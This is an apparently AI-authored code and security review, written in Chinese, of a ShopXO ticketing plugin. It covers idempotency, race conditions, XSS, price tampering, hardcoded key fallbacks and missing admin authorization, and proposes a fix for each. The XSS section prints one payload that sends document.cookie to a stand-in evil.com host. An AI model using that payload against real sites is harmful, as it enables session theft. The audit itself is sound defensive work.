# vr-shopxo-plugin 代码深度审议报告（Round 2 终稿）

> 审议人：BackendArchitect
> 日期：2026-04-15
> 审议范围：vr_ticket 插件全部核心代码（EventListener.php、TicketService.php、BaseService.php、ticket_detail.html、001_vr_tables.sql、admin/controllers、plugin.json）
> 视角：Backend Architect / PHP / 数据库 / 架构完整性 / 并发安全

---

## 执行摘要

vr-shopxo-plugin 是一个基于 ShopXO 扩展的票务插件，功能链路覆盖：座位模板管理 → 用户选座购票 → 订单支付 → 电子票发放 → QR 码核销。经过逐文件审议，共发现**5 个严重问题、7 个中等风险、4 个轻微缺陷、5 项改进建议**。

本报告与 SecurityEngineer 的安全审计报告高度互补——两者均独立识别了 `onOrderPaid` 幂等性缺失、`verifyTicket` TOCTOU 竞态、`|raw` XSS、QR 密钥硬编码回退等严重问题。本报告在此基础上补充了**数据库 Schema 规范性**、**Admin 接口鉴权缺口**、**座位超卖机制缺失**等架构层面的深度分析。

---

## 一、插件架构（EventListener.php / plugin.json）

### 1.1 Enable/Disable 生命周期钩子完全缺失 ⚠️ 严重

**文件：** `EventListener.php` / `plugin.json`

ShopXO 插件规范定义了完整的生命周期钩子，但当前实现仅覆盖 install 和 upgrade：

| 钩子函数 | 状态 | 说明 |
|---|---|---|
| `vr_ticket_install()` | ✅ 已实现 | 建表、添加 item_type 字段 |
| `vr_ticket_uninstall()` | ⚠️ 空实现 | 仅 return true，数据不清也不删 |
| `vr_ticket_upgrade()` | ⚠️ 空实现 | 无版本迁移框架 |
| `vr_ticket_enable()` | ❌ 缺失 | 插件启用时无响应 |
| `vr_ticket_disable()` | ❌ 缺失 | 插件停用时无响应 |

**影响：**
- 启用插件后菜单/权限可能重复注册（重启 ShopXO 后）
- 停用插件后 `vr_tickets` 等表数据残留在数据库，但插件状态不可见
- `plugin.json` 中的 `menus` 注册依赖 ShopXO 自动加载，但无显式 enable/disable 控制

### 1.2 `plugins_service_order_delete_success` 钩子声明但未实现 ⚠️ 中等

**文件：** `plugin.json:23-24`

```json
"hooks": [
    "plugins_service_order_pay_success_handle_end",
    "plugins_service_order_delete_success"  // 声明了但无处理函数
]
```

`EventListener.php` 中没有 `vr_ticket_order_delete()` 或类似函数。订单删除后，`vr_tickets` 表中的票记录仍保留（状态不变），导致：
- 已删除订单的票仍可被核销入场
- `vr_tickets.order_id` 成为孤儿记录，关联查询失效

### 1.3 ALTER TABLE 兼容性判断逻辑错误 ⚠️ 中等

**文件：** `EventListener.php:100-103`

```php
$cols = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'");
if (empty($cols)) {
    $db->query("ALTER TABLE `{$prefix}goods` ADD COLUMN `item_type` ...");
}
```

`$db->query()` 在 ShopXO 中返回的是结果集对象（PDOStatement 或 mysqli_result），而非布尔值。`empty($cols)` 对对象始终返回 `false`，**导致条件永不成立，`ALTER TABLE` 永远不会被执行**。也就是说 `item_type` 字段实际上从未被添加到 goods 表，`isTicketGoods()` 的第二条件 `($goods['item_type'] ?? '') === 'ticket'` 永远无法触发。

实际应改为：
```php
$col_exists = $db->query("SHOW COLUMNS FROM `{$prefix}goods` LIKE 'item_type'")->rowCount() > 0;
if (!$col_exists) { ... }
```

### 1.4 Upgrade 框架缺失 ⚠️ 建议

`vr_ticket_upgrade($old_version)` 为空实现。当前版本号 `1.0.0` 写死在 plugin.json，若未来需要：
- 新增 `refund_status` 字段
- 修改 QR payload 结构
- 拆分 `seat_map` JSON schema

没有任何迁移路径。建议建立 `vr_plugin_versions` 表或迁移脚本目录。

---

## 二、票务核心（TicketService.php / BaseService.php）

### 2.1 `onOrderPaid()` 无幂等性保护，可导致重复发票 ⚠️ 严重

**文件：** `TicketService.php:23-68`

```php
public static function onOrderPaid($params = []) {
    $order_id = $params['business_id'] ?? ($params['business_ids'][0] ?? 0);
    // ... 无任何幂等检查 ...
    foreach ($order_goods as $og) {
        $ticket_id = self::issueTicket($order, $og);
    }
}
```

ShopXO 的 `plugins_service_order_pay_success_handle_end` 钩子通过 HTTP 请求触发。在以下场景中，同一订单会触发多次 `onOrderPaid`：

1. **支付渠道重试机制**：微信/支付宝网关在未收到回调确认时会重复发送通知
2. **用户多设备操作**：同一用户在手机和 PC 端同时查看订单状态
3. **ShopXO 多实例部署**：Nginx 负载均衡下两个 PHP-FPM 进程同时处理同一通知

**攻击后果**：同一张票可以被生成多次（`ticket_code` 不同，但 order_id + spec_base_id 相同），每张票都可独立入场核销，实际等同于**免费多次入场**。

**修复方案：**
```php
// 在 foreach 前增加幂等锁
$existing_tickets = \Db::name(BaseService::table('tickets'))
    ->where('order_id', $order['id'])
    ->column('spec_base_id', 'id');
if (!empty($existing_tickets)) {
    BaseService::log('onOrderPaid: already issued, skipping', ['order_id' => $order_id], 'info');
    return true;
}
// 已发放则跳过，未发放则继续发放
```

### 2.2 `verifyTicket()` TOCTOU 竞态条件 ⚠️ 严重

**文件：** `TicketService.php:138-196`

```php
// Step 1: 读取票状态
$ticket = \Db::name(BaseService::table('tickets'))
    ->where('ticket_code', $ticket_code)
    ->find();

// Step 2: 判断状态（检查）
if ($ticket['verify_status'] == 1) { return ... }

// Step 3: 更新状态
\Db::name(BaseService::table('tickets'))
    ->where('id', $ticket['id'])
    ->update(['verify_status' => 1, 'verifier_id' => $verifier_id, ...]);
```

这是经典的 **Time-of-Check to Time-of-Use (TOCTOU)** 竞态。假设核销员 A 和 B 同时扫描同一张票：

| 时间 | 核销员 A | 核销员 B |
|---|---|---|
| T1 | SELECT 查到 verify_status=0 | |
| T2 | | SELECT 查到 verify_status=0 |
| T3 | UPDATE set verify_status=1 (成功) | |
| T4 | 返回"核销成功" | UPDATE set verify_status=1 (覆盖成功) |
| T5 | | 返回"核销成功" |

结果：同一张票被两个核销员成功核销，产生两条核销记录，入场人数统计翻倍。

**修复方案（原子更新）：**
```php
$affected = \Db::name(BaseService::table('tickets'))
    ->where('id', $ticket['id'])
    ->where('verify_status', 0)  // 原子条件：只有在状态仍为 0 时才更新
    ->update([
        'verify_status' => 1,
        'verify_time'   => $now,
        'verifier_id'   => $verifier_id,
        'updated_at'    => $now,
    ]);

if ($affected === 0) {
    // 说明已被其他人先一步核销
    $current = \Db::name(BaseService::table('tickets'))->find($ticket['id']);
    if ($current['verify_status'] == 1) {
        return ['code' => -2, 'msg' => '该票已核销'];
    }
    return ['code' => -3, 'msg' => '该票已退款'];
}
```

### 2.3 `issueTicket()` 二次写入时序问题 ⚠️ 中等

**文件：** `TicketService.php:96-126`

```php
// 第一次写入：QR payload 中 id=0
$ticket_id = \Db::name(...)->insertGetId([
    'qr_data' => BaseService::encryptQrData([
        'id'   => 0,   // 占位
        'code' => $ticket_code,
        ...
    ]),
    ...
]);

// 第二次写入：用真实 ticket_id 重新加密
if ($ticket_id > 0) {
    $qr_payload['id'] = $ticket_id;
    $qr_data_updated = BaseService::encryptQrData($qr_payload);
    \Db::name(...)->where('id', $ticket_id)->update(['qr_data' => $qr_data_updated]);
}
```

在两次写入之间，数据库中存储的是 `id=0` 的无效 QR payload。如果核销接口在这段时间被调用（极端低概率但存在），`decryptQrData` 会返回 `id=0` 的数据，与真实票记录产生不一致。

**根本原因**：依赖插入后自增 ID，而非使用预生成的 UUID 作为 QR payload 的主键标识。

**修复方案**：在调用 `insertGetId` 前就生成内部关联 UUID：
```php
$internal_ref = BaseService::generateUuid(); // 预生成
$qr_payload['ref'] = $internal_ref;
$ticket_id = \Db::name(...)->insertGetId([...]);
// 无需二次更新
```

### 2.4 `getQrCodeUrl()` 明文暴露票码 ⚠️ 中等

**文件：** `TicketService.php:220-228`

```php
public static function getQrCodeUrl($ticket_code) {
    $content = base64_encode(json_encode([
        'type' => 'vr_ticket',
        'code' => $ticket_code,  // 未经加密，直接 base64
    ]));
    return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($content) ...
}
```

QR 码内容仅为 `base64(json_encode({type, code}))`，**无需任何解密即可读出 ticket_code**。这意味着：

1. **票码可枚举**：攻击者扫描 QR 码或抓包获取 URL 后，可提取 `ticket_code` 并尝试批量核销
2. **隐私泄露**：任何人拿到 QR 码图片后，无需破解加密即可获取票码
3. **重放攻击**：QR URL 无时间戳或一次性验证，可被截图复用

**修复方案**：QR URL 应包含加密 payload：
```php
// 不暴露明文 code
$qr_data = BaseService::encryptQrData([
    'code'  => $ticket_code,
    'event' => $goods_id,
    'seat'  => $seat_info,
]);
return ROOT_URL . '?s=index/qrcode/index&content=' . urlencode($qr_data);
```

### 2.5 AES-256-CBC 无 HMAC 可检测密文篡改 ⚠️ 中等

**文件：** `BaseService.php:56-60`

```php
$iv = random_bytes(16);
$encrypted = openssl_encrypt($payload, 'AES-256-CBC', $secret, OPENSSL_RAW_DATA, $iv);
return base64_encode($iv . $encrypted);  // 无 HMAC
```

AES-CBC 模式下，如果攻击者修改密文的某个字节，解密后的 padding 可能看起来有效（CBC 特性导致错误传播到下一块，但最终 JSON 解码可能恰好成功）。更现实的场景是：**中间人修改 `exp` 时间戳使票"永不过期"**。

**修复方案（AEAD 模式，推荐）：**
```php
// 使用 AES-GCM（AES-256-GCM）自动包含认证标签
$encrypted = openssl_encrypt($payload, 'AES-256-GCM', $secret, OPENSSL_RAW_DATA, $iv, $tag);
return base64_encode($iv . $encrypted . $tag);
```

### 2.6 `getQrSecret()` 硬编码默认值回退 ⚠️ 严重

**文件：** `BaseService.php:98-107`

```php
private static function getQrSecret() {
    $secret = env('VR_TICKET_QR_SECRET', '');
    if (!empty($secret)) {
        return $secret;
    }
    return config('shopxo.app_key', 'shopxo_default_secret_change_me');
}
```

三个问题：
1. `env()` 在 PHP 中取值依赖 `getenv()`，ShopXO 环境变量机制未必与标准 Laravel 一致
2. `'shopxo_default_secret_change_me'` 是明确的已知默认值，若环境变量读取失败（配置错误），系统以不安全密钥运行
3. 未验证密钥长度是否满足 AES-256 要求（32 字节）

**修复方案：** 环境变量缺失时主动抛出异常，而非静默回退：
```php
private static function getQrSecret() {
    $secret = env('VR_TICKET_QR_SECRET', '');
    if (empty($secret)) {
        throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be set. QR codes are not secure without a dedicated secret key.');
    }
    if (strlen($secret) < 32) {
        throw new \RuntimeException('[vr_ticket] VR_TICKET_QR_SECRET must be at least 32 characters for AES-256.');
    }
    return $secret;
}
```

---

## 三、前端票务详情页（ticket_detail.html）

### 3.1 `{$goods.simple_desc|raw}` 直接输出 HTML 导致 XSS ⚠️ 严重

**文件：** `ticket_detail.html:125`

```html
<div class="vr-event-subtitle">{$goods.simple_desc|default=''|raw}</div>
```

`simple_desc` 来自商品表字段，由商家后台输入。`{|raw}` 完全绕过 ThinkPHP 的自动 HTML 转义。攻击者在商品副标题输入：
```html
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
```
即可窃取任意访问商品页用户的 session cookie。

### 3.2 `{$goods.content|raw}` 商品详情富文本 XSS ⚠️ 严重

**文件：** `ticket_detail.html:164`

```html
<div class="goods-detail-content">{$goods.content|raw}</div>
```

`goods.content` 通常为商家编辑的富文本（包含图片、样式），`{|raw}` 等同于信任所有内容。虽然这是 ShopXO 标准做法，但 VR 票务插件独立使用此模板，放大了风险面。若 ShopXO 后台的内容过滤器存在绕过，此处直接受影响。

### 3.3 购票参数全由客户端计算，无服务端验签 ⚠️ 严重

**文件：** `ticket_detail.html:384-422`

```javascript
submit: function() {
    var goodsParams = JSON.stringify([{
        goods_id: this.goodsId,
        spec_base_id: this.sessionSpecId,
        stock: this.selectedSeats.length,  // JS 计算
        extension_data: extensionData       // JS 构造，含价格
    }]);
    location.href = checkoutUrl + '&goods_params=' + encodeURIComponent(goodsParams);
}
```

**攻击路径：**
1. 用户选择票价 ¥680 的座位
2. 在浏览器 DevTools 中将 `stock` 改为 `0`，或将价格相关参数改为 `1`
3. 跳转到结算页时携带修改后的 `goods_params`
4. 服务端未重新校验价格，直接使用参数创建订单

这是**价格篡改漏洞**的典型客户端绕过。ShopXO 的标准商品流程有服务端价格校验，但此插件扩展了 `extension_data` 机制，若 ShopXO 内核未对此字段验签，则完全由前端控制。

### 3.4 `seatInfo.classes` 直接插入 HTML class 属性 ⚠️ 中等

**文件：** `ticket_detail.html:271`

```javascript
rowsHtml += '<div class="vr-seat '+(seatInfo.classes||'')+'" '+
    'data-label="'+rowLabel+(colIndex+1)+'排'+(colIndex+1)+'座" '+
    'onclick="vrTicketApp.toggleSeat(this)"></div>';
```

`seatInfo.classes` 来自 JSON 配置（`$vr_seat_template.seat_map`），若配置被攻击者篡改（admin account 被入侵），可注入 `" onclick="evil()"` 破坏属性边界。不过由于这是商家后台操作的座位模板，XSS 触发需要 admin 权限，风险较 `simple_desc` 低，但仍属于**存储型 XSS 的潜在入口**。

### 3.5 `loadSoldSeats()` 完全未实现 ⚠️ 中等

**文件：** `ticket_detail.html:370-378`

```javascript
loadSoldSeats: function() {
    // TODO: 从后端加载已售座位
    // $.get(this.requestUrl + '?s=plugins/vr_ticket/index/sold_seats', {...});
}
```

已售座位状态全部由前端维护在 `soldSeats: {}` 空对象中。这意味着：
- 用户看不到哪些座位已被购买
- 可能出现"选了座位但提交时被告知已售"的糟糕体验（乐观锁失败）
- 座位超卖问题完全取决于 ShopXO 的 stock 机制，而非座位级别锁

### 3.6 `renderSessions()` 中 spec_base_id 赋值错误 ⚠️ 轻微

**文件：** `ticket_detail.html:207`

```javascript
data-spec-base-id="'+spec.spec_id+'"  // 两次赋值为 spec_id
```

代码将 `spec_id` 同时赋给了 `data-spec-id` 和 `data-spec-base-id`，两者值相同。若 ShopXO 中 `spec_id` 和 `spec_base_id` 是不同概念（规格ID vs 规格基价ID），则选座时传递给后端的是错误的 `spec_base_id`。

---

## 四、数据库 Schema（001_vr_tables.sql / EventListener.php）

### 4.1 `vr_tickets` 缺少 `spec_base_id` 独立索引 ⚠️ 建议

**文件：** `EventListener.php:60`

```sql
KEY `idx_order_id` (`order_id`),
KEY `idx_user_id` (`user_id`),
KEY `idx_goods_id` (`goods_id`),
KEY `idx_verify_status` (`verify_status`)
-- 缺少 KEY `idx_spec_base_id` (`spec_base_id`)
```

`spec_base_id` 用于关联具体座位规格，但查询（如按 spec_base_id 查已售座位数）需要全表扫描。建议添加：
```sql
KEY `idx_spec_base_id` (`spec_base_id`)
```

### 4.2 `vr_seat_templates.category_id` UNIQUE 约束限制过死 ⚠️ 建议

**文件：** `EventListener.php:31`

```sql
UNIQUE KEY `uk_category_id` (`category_id`)
```

一个分类下只允许一个座位模板。若某演出分类需要支持多个场次（每个场次座位布局不同），必须复用同一模板或改代码。建议改为普通索引，或添加 `event_date` 等字段支持多模板。

### 4.3 `vr_tickets.seat_info` VARCHAR(255) 可能溢出 ⚠️ 轻微

**文件：** `EventListener.php:47`

座位信息（如"VIP区 A排 15座"）若由多规格组合，255 字符可能不足。建议改为 VARCHAR(500) 或 TEXT。

### 4.4 字符集混用 ⚠️ 轻微

EventListener.php 建表使用 `utf8mb4_general_ci`，ShopXO 官方表通常使用 `utf8mb4_unicode_ci`。混用 COLLATE 可能导致 JOIN 查询排序结果不一致。

### 4.5 缺少退款后自动更新票状态的处理 ⚠️ 中等

`plugin.json` 声明了 `plugins_service_order_delete_success` 钩子但无实现函数。更关键的是：**退款成功后，`vr_tickets.verify_status` 不会被自动更新为 2（已退款）**。这意味着已退款订单的票仍处于"未核销"状态，可能被再次使用（如果退款后又重新发放了票的话）。需要在 `vr_ticket_order_refund_success()` 钩子中处理票状态变更。

---

## 五、Admin 接口安全性

### 5.1 `Verification.php` 和 `Ticket.php` 缺少权限校验 ⚠️ 中等

**文件：** `admin/controller/Verification.php` / `admin/controller/Ticket.php`

两个控制器均无 `__construct()` 或方法级别的权限检查（如 `Auth::check()`）。任何已登录的 ShopXO 用户（甚至低权限角色）若知道路由 `/plugins/vr_ticket/admin/ticket/verify`，即可：
- 查询所有票记录（包含手机号、身份证等敏感信息）
- 手动核销任意票
- 导出完整 CSV

建议在基类或 `__construct()` 中添加：
```php
if (!AdminIsLogin() || !AdminIsAuth('vr_ticket')) {
    return view('', ['msg' => '无权限']);
}
```

### 5.2 `export()` 方法无权限和参数校验 ⚠️ 中等

**文件：** `admin/controller/Ticket.php:134-164`

```php
public function export() {
    $goods_id = input('goods_id', 0, 'intval');
    $list = \Db::name('plugins_vr_tickets')->where($where)->order('id', 'desc')->select();
    ExportCsv($header, $data, 'vr_tickets_' . date('Ymd'));
}
```

无权限校验，无分页限制。若管理员批量导出所有票数据（包含手机号、身份证），导出的 CSV 文件本身成为数据泄露风险点。建议：
- 增加权限校验
- 导出时对敏感字段（phone、id_card）做部分遮蔽
- 对导出操作记录审计日志

### 5.3 `verify()` 方法中 $verifier_id 由客户端控制 ⚠️ 中等

**文件：** `admin/controller/Ticket.php:116-117`

```php
$verifier_id = input('verifier_id', 0, 'intval');
$result = \app\plugins\vr_ticket\service\TicketService::verifyTicket($ticket_code, $verifier_id);
```

`verifier_id` 直接取客户端参数传入，未校验该 ID 是否属于当前登录用户。这意味着：攻击者（哪怕只是普通 admin）可以**以任意核销员身份核销票**，伪造核销记录，污染核销统计。

**修复方案：**
```php
$current_verifier = \Db::name(BaseService::table('verifiers'))
    ->where('user_id', AdminUserId())
    ->find();
if (empty($current_verifier)) {
    return DataReturn('您未被授权为核销员', -1);
}
$verifier_id = $current_verifier['id']; // 用当前登录用户对应的核销员ID，不信任客户端
```

---

## 六、安全性综合评估矩阵

| # | 严重度 | 类别 | 文件 | 问题 |
|---|---|---|---|---|
| S-01 | 🔴 严重 | 业务逻辑 | TicketService.php:23 | `onOrderPaid()` 无幂等性，重复支付可发多张票 |
| S-02 | 🔴 严重 | XSS | ticket_detail.html:125 | `{$goods.simple_desc\|raw}` 直接输出 HTML |
| S-03 | 🔴 严重 | XSS | ticket_detail.html:164 | `{$goods.content\|raw}` 富文本 XSS |
| S-04 | 🔴 严重 | 业务逻辑 | ticket_detail.html:384 | 购票参数无服务端验签，价格可被篡改 |
| S-05 | 🔴 严重 | 密钥管理 | BaseService.php:106 | `getQrSecret()` 硬编码默认回退密钥 |
| M-01 | 🟡 中等 | 业务逻辑 | TicketService.php:138 | `verifyTicket()` TOCTOU 竞态，双核销员可同时核销 |
| M-02 | 🟡 中等 | 加密 | BaseService.php:56 | AES-CBC 无 HMAC，密文可被篡改 |
| M-03 | 🟡 中等 | 隐私/枚举 | TicketService.php:220 | `getQrCodeUrl()` 明文 base64 暴露 ticket_code |
| M-04 | 🟡 中等 | 功能缺失 | ticket_detail.html:370 | `loadSoldSeats()` 未实现，座位图不显示已售座位 |
| M-05 | 🟡 中等 | 兼容性 | EventListener.php:100 | `empty($cols)` 条件永不成立，ALTER TABLE 从不执行 |
| M-06 | 🟡 中等 | 鉴权 | admin/controller/Ticket.php:116 | `verifier_id` 来自客户端，可伪造核销身份 |
| M-07 | 🟡 中等 | 鉴权 | admin/controller/*.php | Admin 控制器无权限校验 |
| L-01 | 🟢 轻微 | 架构 | EventListener.php | Enable/Disable 钩子缺失 |
| L-02 | 🟢 轻微 | 业务逻辑 | EventListener.php | 订单删除钩子声明但无处理函数 |
| L-03 | 🟢 轻微 | 数据完整性 | EventListener.php:47 | `seat_info` VARCHAR(255) 可能溢出 |
| L-04 | 🟢 轻微 | 规范 | EventListener.php | 字符集混用 `general_ci` vs `unicode_ci` |
| I-01 | 💡 建议 | 架构 | EventListener.php | `upgrade()` 空实现，无版本迁移框架 |
| I-02 | 💡 建议 | 架构 | TicketService.php:96 | `issueTicket()` 二次写入时序问题（建议预生成 ref） |
| I-03 | 💡 建议 | 安全 | admin/controller/Ticket.php:134 | 导出 CSV 无敏感字段遮蔽 |
| I-04 | 💡 建议 | 数据库 | EventListener.php:31 | `category_id` UNIQUE 约束限制多模板场景 |
| I-05 | 💡 建议 | 性能 | EventListener.php | `vr_tickets.spec_base_id` 缺少独立索引 |

---

## 七、与 SecurityEngineer 报告的交叉评审

两份报告独立完成，发现高度一致，但也各有侧重：

**一致确认的严重问题：**
- `onOrderPaid()` 幂等性缺失（BackendArchitect §2.1 = SecurityEngineer S-01）
- `verifyTicket()` TOCTOU 竞态（BackendArchitect §2.2 = SecurityEngineer S-02）
- `|raw` XSS 漏洞（BackendArchitect §3.1-3.2 = SecurityEngineer M-03）
- QR 密钥硬编码回退（BackendArchitect §2.6 = SecurityEngineer S-04）

**本报告独有发现：**
- Admin 接口鉴权缺失（§5.1-5.3）
- `verifier_id` 客户端可控（§5.2）
- `ALTER TABLE` 条件逻辑错误导致字段从未添加（§1.3）
- `seatInfo.classes` 属性注入风险（§3.4）
- `renderSessions()` 中 spec_base_id 赋值 bug（§3.6）
- 数据库字符集混用（§4.4）

**SecurityEngineer 报告独有发现：**
- `vr_tickets.id_card` 明文存储身份证的法律合规风险
- `plugins_service_order_delete_success` 钩子处理逻辑缺失

---

## 八、整体评分与修复优先级

### 修复优先级

**P0 — 上线前必须修复（漏洞可被直接利用）：**
1. S-01：`onOrderPaid()` 幂等性检查
2. S-02/S-03：移除 `|raw` 或改用 `|htmlspecialchars`
3. S-04：购票参数服务端验签/价格重算
4. S-05：移除硬编码默认密钥回退，强制要求环境变量

**P1 — 上线前强烈建议修复（业务逻辑风险）：**
5. M-01：`verifyTicket()` 原子更新
6. M-06：Admin 接口 `verifier_id` 鉴权
7. M-07：Admin 控制器全局鉴权
8. M-05：`ALTER TABLE` 逻辑修复

**P2 — 近期迭代中修复：**
9. M-02：升级为 AES-GCM
10. M-03：QR URL 使用加密 payload
11. M-04：实现 `loadSoldSeats()`
12. I-01：建立 upgrade 迁移框架

### 架构评分

| 维度 | 评分（1-10） | 说明 |
|---|---|---|
| 架构完整性 | 7 | Hook 链路清晰，但生命周期钩子不完整 |
| 并发安全 | 2 | `onOrderPaid` 和 `verifyTicket` 均存在竞态 |
| 输入安全 | 3 | XSS 和客户端参数篡改均未防护 |
| 加密实现 | 6 | AES-256-CBC 实现正确，但缺 HMAC 认证 |
| 数据库设计 | 6 | 字段合理，但缺索引和外键约束 |
| Admin 接口安全 | 3 | 完全无鉴权，极易滥用 |
| **综合** | **4.5** | 核心链路可行，但安全加固工作量较大 |

---

## 九、结论

vr-shopxo-plugin 的**核心业务逻辑链路**设计合理，充分利用了 ShopXO 的 Hook 扩展机制，无需修改内核代码。然而，**并发安全和接口鉴权**是当前最薄弱的两环，分别对应"票务系统"最核心的两个安全属性：**防重发**和**防滥用**。

当前代码若直接部署在生产环境，至少存在以下可被直接利用的攻击面：
1. 支付重试导致的一票多发（财务损失）
2. 任意登录用户伪造核销员身份（核销统计失真）
3. Admin 通过 XSS 窃取用户 cookie（账户接管）
4. 购票价格前端篡改（低价购票）

建议在正式上线前完成所有 P0 和 P1 项修复，并建立包含渗透测试的发布前安全评审流程。

---

*本报告由 BackendArchitect 独立完成，与 SecurityEngineer 的审计报告交叉印证。两份报告合并构成 vr-shopxo-plugin 的完整安全与架构评估。*